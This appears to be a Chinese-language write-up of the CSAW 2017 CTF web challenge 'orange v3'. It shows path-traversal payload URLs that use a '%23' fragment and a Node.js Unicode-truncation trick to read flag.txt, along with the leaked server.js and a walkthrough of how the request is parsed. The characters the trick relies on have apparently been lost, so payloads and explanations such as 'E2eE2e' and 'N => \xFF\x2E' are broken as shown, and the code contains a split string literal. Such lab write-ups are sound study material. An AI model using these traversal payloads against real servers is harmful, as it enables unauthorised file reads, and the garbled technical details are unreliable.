[CSAW CTF Qualification Round 2017] - orange v3 (Web 300)

題目資訊

I wrote a little proxy program in NodeJS for my poems folder but I’m bad at programming so I had to rewrite it. Again.

I changed up flag.txt too but everyone still wants to read it…

http://web.chal.csaw.io:7312/?path=orange.txt

解法

這題是 [CSAW CTF Qualification Round 2017] - orange v1 (Web 100) 的延伸。

一開始嘗試了各種 payload ,猜測最後應該要為 .txt,而中間不能有其他的 . 。輸入 %25 也會被擋,所以看來也把 % 擋掉了。

想想如果放入 %23 可能會因為被解析成 # 讓後面都變成 tag 而沒作用。嘗試了 path=%23.txt 真的跑出 directory list 了!
http://web.chal.csaw.io:7312/?path=%23.txt

1
2
3
4
5
6
7
Directory listing for /poems/
burger.txt
haiku.txt
orange.txt
ppp.txt
the_red_wheelbarrow.txt

依據 orange v1 (Web 100) 那題,這題最後應該會再做一次 url decode 。再來搭配 NodeJS unicode 解析問題,那就完美了!
(參考: A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!
NodeJS unicode failure:
N => \xFF\x2E => \x2E => .
E => \xFF\x25 => \x25 => %

NodeJS unicode failure + url decode:
E2e => \xFF\x252e => \x252e => %2e => .

http://web.chal.csaw.io:7312/?path=E2eE2e/%23.txt

1
2
3
4
5
6
7
8
9
10
Directory listing for /poems/../
back.py
docker-compose.yml
Dockerfile
flag.txt
poems/
README.md
serve.sh
server.js

http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt

1
flag{s0rry_this_t00k_s0_m@ny_tries...}

Flag: flag{s0rry_this_t00k_s0_m@ny_tries...}

後記

同樣順便把 server.js 撈了出來以供研究,看來過濾掉的東西都有猜到⎝( ゚∀゚)⎠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var http = require('http');
var fs = require('fs');
var url = require('url');
var server = http.createServer(function(req, res) {
try {
var path = url.parse(req.url, true).query;
path = path['path'];
var no_ext = path.substring(0, path.length - 4);
var ext = path.substring(path.length - 4, path.length);
console.log(path);
console.log(no_ext);
console.log(ext);
if (no_ext.indexOf(".") == -1 && path.indexOf("N") == -1 && path.indexOf("%") == -1 && ext == '.txt') {
var base = "http://localhost:8080/poems/";
var callback = function(response){
var str = '';
response.on('data', function (chunk) {
str += chunk;
});
response.on('end
', function () {
res.end(str);
});
}
http.get(base + path, callback).end();
} else {
res.writeHead(403);
res.end("WHOA THATS BANNED!!!!");
}
}
catch (e) {
res.writeHead(404);
res.end('Oops');
}
});
server.listen(9999);

分析

連上 http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt

req.url = 'http://web.chal.csaw.io:7312/?path=E2eE2e/flagE2etxt%23.txt'

Line 7: var path = url.parse(req.url, true).query;
path = { path: 'E2eE2e/flagE2etxt#.txt' }

Line 8: path = path['path'];
path = 'E2eE2e/flagE2etxt#.txt'
base + path = 'http://localhost:8080/poems/E2eE2e/flagE2etxt#.txt'

Line 25: http.get(base + path, callback).end();
Nodejs http 會把 base + path 解析成 http://localhost:8080/poems/%2e%2e/flag%2etxt#.txt
也就是 http://localhost:8080/poems/../flag.txt#.txt
所以就拿到 http://localhost:8080/flag.txt 了!